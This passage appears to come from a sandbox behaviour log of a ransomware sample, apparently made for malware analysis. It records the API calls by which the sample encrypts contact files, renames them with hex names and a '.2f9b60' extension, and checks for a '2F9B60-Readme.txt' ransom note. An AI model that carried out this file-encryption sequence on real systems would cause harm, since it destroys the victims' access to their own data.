_Dest=0x1cd867f4, _Format="%c%c" | out: _Dest="e0") returned 2 [0104.136] sprintf (in: _Dest=0x1cd867f6, _Format="%c%c" | out: _Dest="e4") returned 2 [0104.136] sprintf (in: _Dest=0x1cd867f8, _Format="%c%c" | out: _Dest="88") returned 2 [0104.136] sprintf (in: _Dest=0x1cd867fa, _Format="%c%c" | out: _Dest="f2") returned 2 [0104.136] sprintf (in: _Dest=0x1cd867fc, _Format="%c%c" | out: _Dest="e9") returned 2 [0104.136] sprintf (in: _Dest=0x1cd867fe, _Format="%c%c" | out: _Dest="1a") returned 2 [0104.136] sprintf (in: _Dest=0x1cd86800, _Format="%c%c" | out: _Dest="e6") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86802, _Format="%c%c" | out: _Dest="9c") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86804, _Format="%c%c" | out: _Dest="fd") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86806, _Format="%c%c" | out: _Dest="96") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86808, _Format="%c%c" | out: _Dest="e1") returned 2 [0104.137] sprintf (in: _Dest=0x1cd8680a, _Format="%c%c" | out: _Dest="75") returned 2 [0104.137] sprintf (in: _Dest=0x1cd8680c, _Format="%c%c" | out: _Dest="f3") returned 2 [0104.137] sprintf (in: _Dest=0x1cd8680e, _Format="%c%c" | out: _Dest="93") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86810, _Format="%c%c" | out: _Dest="15") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86812, _Format="%c%c" | out: _Dest="35") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86814, _Format="%c%c" | out: _Dest="c7") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86816, _Format="%c%c" | out: _Dest="b9") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86818, _Format="%c%c" | out: _Dest="0c") returned 2 [0104.137] sprintf (in: _Dest=0x1cd8681a, _Format="%c%c" | out: _Dest="c0") returned 2 [0104.137] sprintf (in: _Dest=0x1cd8681c, _Format="%c%c" | out: _Dest="07") returned 2 [0104.137] sprintf (in: _Dest=0x1cd8681e, _Format="%c%c" | out: _Dest="00") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86820, _Format="%c%c" | out: _Dest="f7") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86822, _Format="%c%c" | out: _Dest="d2") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86824, _Format="%c%c" | out: _Dest="2a") returned 2 [0104.137] sprintf (in: _Dest=0x1cd86826, _Format="%c%c" | out: _Dest="af") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86828, _Format="%c%c" | out: _Dest="de") returned 2 [0104.138] sprintf (in: _Dest=0x1cd8682a, _Format="%c%c" | out: _Dest="33") returned 2 [0104.138] sprintf (in: _Dest=0x1cd8682c, _Format="%c%c" | out: _Dest="ca") returned 2 [0104.138] sprintf (in: _Dest=0x1cd8682e, _Format="%c%c" | out: _Dest="1a") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86830, _Format="%c%c" | out: _Dest="b1") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86832, _Format="%c%c" | out: _Dest="25") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86834, _Format="%c%c" | out: _Dest="c7") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86836, _Format="%c%c" | out: _Dest="f5") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86838, _Format="%c%c" | out: _Dest="08") returned 2 [0104.138] sprintf (in: _Dest=0x1cd8683a, _Format="%c%c" | out: _Dest="40") returned 2 [0104.138] sprintf (in: _Dest=0x1cd8683c, _Format="%c%c" | out: _Dest="b4") returned 2 [0104.138] sprintf (in: _Dest=0x1cd8683e, _Format="%c%c" | out: _Dest="4f") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86840, _Format="%c%c" | out: _Dest="87") returned 2 [0104.138] sprintf (in: _Dest=0x1cd86842, _Format="%c%c" | out: _Dest="c8") returned 2 [0104.138] RtlInitAnsiString (in: DestinationString=0x24cdf808, SourceString="610fe0e488f2e91ae69cfd96e175f3931535c7b90cc00700f7d22aafde33ca1ab125c7f50840b44f87c8" | out: DestinationString="610fe0e488f2e91ae69cfd96e175f3931535c7b90cc00700f7d22aafde33ca1ab125c7f50840b44f87c8") [0104.138] RtlAnsiStringToUnicodeString (in: DestinationString=0x24cdf7d8, SourceString="610fe0e488f2e91ae69cfd96e175f3931535c7b90cc00700f7d22aafde33ca1ab125c7f50840b44f87c8", AllocateDestinationString=1 | out: DestinationString="610fe0e488f2e91ae69cfd96e175f3931535c7b90cc00700f7d22aafde33ca1ab125c7f50840b44f87c8") returned 0x0 [0104.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279070 [0104.139] wcscat (in: _Dest=0x1b85c210, _Source="610fe0e488f2e91ae69cf" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\610fe0e488f2e91ae69cf") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\610fe0e488f2e91ae69cf" [0104.139] wcscat (in: _Dest=0x1b85c210, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\610fe0e488f2e91ae69cf.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\610fe0e488f2e91ae69cf.2f9b60" [0104.139] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\610fe0e488f2e91ae69cf.2f9b60", NtPathName=0x24cdf7b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\610fe0e488f2e91ae69cf.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0104.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x20501b60 [0104.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20501b60) returned 1 [0104.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cecea40) returned 1 [0104.254] NtQueryInformationFile (in: FileHandle=0xd58, IoStatusBlock=0x24cdf818, FileInformation=0x24cdf828, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24cdf818, FileInformation=0x24cdf828) returned 0x0 [0104.254] NtSetInformationFile (FileHandle=0xd58, IoStatusBlock=0x24cdf818, FileInformation=0x24cdf828, Length=0x28, FileInformationClass=0x4) returned 0x0 [0104.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85c210) returned 1 [0104.276] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279070) returned 1 [0104.276] FlushFileBuffers (hFile=0xd58) returned 1 [0104.279] CloseHandle (hObject=0xd58) returned 1 [0104.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x20503b10 [0104.283] wcscpy (in: _Dest=0x20503b10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0104.283] wcscat (in: _Dest=0x20503b10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" [0104.283] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt")) returned 0x20 [0104.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503b10) returned 1 [0104.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784640) returned 1 Thread: id = 552 os_tid = 0xe60 [0093.967] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact")) returned 0x20 [0093.967] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact", dwFileAttributes=0x20) returned 1 [0093.968] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\asdlfk poopvy.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\asdlfk poopvy.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0093.968] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x24daf720 | out: lpFileSize=0x24daf720*=1171) returned 1 [0093.968] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x48f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.968] ReadFile (in: hFile=0xdac, lpBuffer=0x24daf6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24daf6e8, lpOverlapped=0x0 | out: lpBuffer=0x24daf6a0*, lpNumberOfBytesRead=0x24daf6e8*=0x4, lpOverlapped=0x0) returned 1 [0093.970] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0093.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a7e0 [0093.970] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0093.970] NtQuerySystemTime (in: CurrentTime=0x24daf5e0 | out: CurrentTime=0x24daf5e0*=132462176998006000) returned 0x0 [0093.970] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x59101d0d [0093.970] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x5037e0c9 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x2a846b84 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x2b07076 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x29723c80 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x49800c2 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x6f5129ef [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x3fc79ebb [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x3936edb8 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x13f41f2e [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x688862cd [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x2f7a5316 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x42916c65 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x75937ee3 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x435e8a4c [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x1c2093ea [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x25e07ca9 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x7189ead9 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0xcedf545 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x127603c7 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x3c7db761 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x75c3e46a [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x15e6e513 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x782bab3f [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x7006137f [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x7d417e0a [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x5c880071 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x1ce88561 [0093.971] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x422159c2 [0093.972] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x59186b70 [0093.972] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x1a3106bd [0093.972] RtlRandomEx (in: Seed=0x24daf5d0 | out: Seed=0x24daf5d0) returned 0x13909a53 [0093.983] ReadFile (in: hFile=0xdac, lpBuffer=0x201ee130, nNumberOfBytesToRead=0x493, lpNumberOfBytesRead=0x24daf5d0, lpOverlapped=0x0 | out: lpBuffer=0x201ee130*, lpNumberOfBytesRead=0x24daf5d0*=0x493, lpOverlapped=0x0) returned 1 [0093.983] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.983] WriteFile (in: hFile=0xdac, lpBuffer=0x201f1d40*, nNumberOfBytesToWrite=0x493, lpNumberOfBytesWritten=0x24daf5d4, lpOverlapped=0x0 | out: lpBuffer=0x201f1d40*, lpNumberOfBytesWritten=0x24daf5d4*=0x493, lpOverlapped=0x0) returned 1 [0093.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b080 [0093.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82ad50 [0093.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82ad50) returned 1 [0093.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201f1d40) returned 1 [0093.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201ee130) returned 1 [0093.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.985] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0093.985] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1cd9f2f0 [0093.985] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0093.985] WriteFile (in: hFile=0xdac, lpBuffer=0x1b7d3a20*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x24daf6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b7d3a20*, lpNumberOfBytesWritten=0x24daf6f0*=0x11c, lpOverlapped=0x0) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97300 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b866840 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0093.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b170) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1cd9f270 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b170 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b1a0 [0093.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b1a0) returned 1 [0093.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.987] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97300) returned 1 [0093.987] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x55) returned 0x1cd9c970 [0093.987] sprintf (in: _Dest=0x1cd9c970, _Format="%c%c" | out: _Dest="35") returned 2 [0093.987] sprintf (in: _Dest=0x1cd9c972, _Format="%c%c" | out: _Dest="cb") returned 2 [0093.987] sprintf (in: _Dest=0x1cd9c974, _Format="%c%c" | out: _Dest="2b") returned 2 [0093.987] sprintf (in: _Dest=0x1cd9c976, _Format="%c%c" | out: _Dest="41") returned 2 [0093.987] sprintf (in: _Dest=0x1cd9c978, _Format="%c%c" | out: _Dest="6c") returned 2 [0093.987] sprintf (in: _Dest=0x1cd9c97a, _Format="%c%c" | out: _Dest="5c") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c97c, _Format="%c%c" | out: _Dest="d9") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c97e, _Format="%c%c" | out: _Dest="13") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c980, _Format="%c%c" | out: _Dest="ef") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c982, _Format="%c%c" | out: _Dest="a9") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c984, _Format="%c%c" | out: _Dest="fa") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c986, _Format="%c%c" | out: _Dest="fc") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c988, _Format="%c%c" | out: _Dest="52") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c98a, _Format="%c%c" | out: _Dest="b6") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c98c, _Format="%c%c" | out: _Dest="5d") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c98e, _Format="%c%c" | out: _Dest="1b") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c990, _Format="%c%c" | out: _Dest="af") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c992, _Format="%c%c" | out: _Dest="34") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c994, _Format="%c%c" | out: _Dest="e9") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c996, _Format="%c%c" | out: _Dest="51") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c998, _Format="%c%c" | out: _Dest="0b") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c99a, _Format="%c%c" | out: _Dest="53") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c99c, _Format="%c%c" | out: _Dest="81") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c99e, _Format="%c%c" | out: _Dest="27") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9a0, _Format="%c%c" | out: _Dest="e2") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9a2, _Format="%c%c" | out: _Dest="8a") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9a4, _Format="%c%c" | out: _Dest="68") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9a6, _Format="%c%c" | out: _Dest="02") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9a8, _Format="%c%c" | out: _Dest="43") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9aa, _Format="%c%c" | out: _Dest="a5") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9ac, _Format="%c%c" | out: _Dest="8f") returned 2 [0093.988] sprintf (in: _Dest=0x1cd9c9ae, _Format="%c%c" | out: _Dest="7f") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9b0, _Format="%c%c" | out: _Dest="b1") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9b2, _Format="%c%c" | out: _Dest="6c") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9b4, _Format="%c%c" | out: _Dest="f9") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9b6, _Format="%c%c" | out: _Dest="d3") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9b8, _Format="%c%c" | out: _Dest="9b") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9ba, _Format="%c%c" | out: _Dest="9a") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9bc, _Format="%c%c" | out: _Dest="39") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9be, _Format="%c%c" | out: _Dest="2e") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9c0, _Format="%c%c" | out: _Dest="db") returned 2 [0093.989] sprintf (in: _Dest=0x1cd9c9c2, _Format="%c%c" | out: _Dest="2f") returned 2 [0093.989] RtlInitAnsiString (in: DestinationString=0x24daf768, SourceString="35cb2b416c5cd913efa9fafc52b65d1baf34e9510b538127e28a680243a58f7fb16cf9d39b9a392edb2f" | out: DestinationString="35cb2b416c5cd913efa9fafc52b65d1baf34e9510b538127e28a680243a58f7fb16cf9d39b9a392edb2f") [0093.989] RtlAnsiStringToUnicodeString (in: DestinationString=0x24daf738, SourceString="35cb2b416c5cd913efa9fafc52b65d1baf34e9510b538127e28a680243a58f7fb16cf9d39b9a392edb2f", AllocateDestinationString=1 | out: DestinationString="35cb2b416c5cd913efa9fafc52b65d1baf34e9510b538127e28a680243a58f7fb16cf9d39b9a392edb2f") returned 0x0 [0093.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x1079c0 [0093.989] wcscat (in: _Dest=0x1b783f80, _Source="35cb2b416c5cd913efa9f" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\35cb2b416c5cd913efa9f") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\35cb2b416c5cd913efa9f" [0093.989] wcscat (in: _Dest=0x1b783f80, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\35cb2b416c5cd913efa9f.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\35cb2b416c5cd913efa9f.2f9b60" [0093.989] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\35cb2b416c5cd913efa9f.2f9b60", NtPathName=0x24daf710, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\35cb2b416c5cd913efa9f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0093.989] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa6) returned 0x1ce114a0 [0093.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce114a0) returned 1 [0093.991] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x173400) returned 1 [0093.991] NtQueryInformationFile (in: FileHandle=0xdac, IoStatusBlock=0x24daf778, FileInformation=0x24daf788, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x24daf778, FileInformation=0x24daf788) returned 0x0 [0093.991] NtSetInformationFile (FileHandle=0xdac, IoStatusBlock=0x24daf778, FileInformation=0x24daf788, Length=0x28, FileInformationClass=0x4) returned 0x0 [0093.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783f80) returned 1 [0093.993] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1079c0) returned 1 [0093.993] FlushFileBuffers (hFile=0xdac) returned 1 [0093.995] CloseHandle (hObject=0xdac) returned 1 [0093.995] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x74) returned 0x1b866840 [0093.996] wcscpy (in: _Dest=0x1b866840, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\" [0093.996] wcscat (in: _Dest=0x1b866840, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" [0093.996] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\2f9b60-readme.txt")) returned 0x20 [0093.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b866840) returned 1 [0093.996] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7845b0) returned 1 Thread: id = 553 os_tid = 0xe68 [0094.003] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact")) returned 0x20 [0094.004] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact", dwFileAttributes=0x20) returned 1 [0094.004] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Contacts\\chucu jadnvk.contact" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\contacts\\chucu jadnvk.contact"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xdac [0094.005] GetFileSizeEx (in: hFile=0xdac, lpFileSize=0x2477f7c0 | out: lpFileSize=0x2477f7c0*=1177) returned 1 [0094.005] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x495, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.005] ReadFile (in: hFile=0xdac, lpBuffer=0x2477f740, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2477f788, lpOverlapped=0x0 | out: lpBuffer=0x2477f740*, lpNumberOfBytesRead=0x2477f788*=0x4, lpOverlapped=0x0) returned 1 [0094.007] SetFilePointerEx (in: hFile=0xdac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85fac0 [0094.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9d0 [0094.007] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f970 [0094.007] NtQuerySystemTime (in: CurrentTime=0x2477f680 | out: CurrentTime=0x2477f680*=132462176998474000) returned 0x0 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x480ae439 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x2afe1ca3 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x49a22eca [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x59a7b016 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x503fda93 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x15f7bebe [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x14a8261d [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x5b5994c [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x36f18e5a [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x103010a0 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x6f3bf3b7 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x9765baf [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x2d9e4359 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x78938aa7 [0094.007] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x29bde99 [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x5340e1de [0094.008] RtlRandomEx (in: Seed=0x2477f670 | out: Seed=0x2477f670) returned 0x7c41dbdb [0094.008] 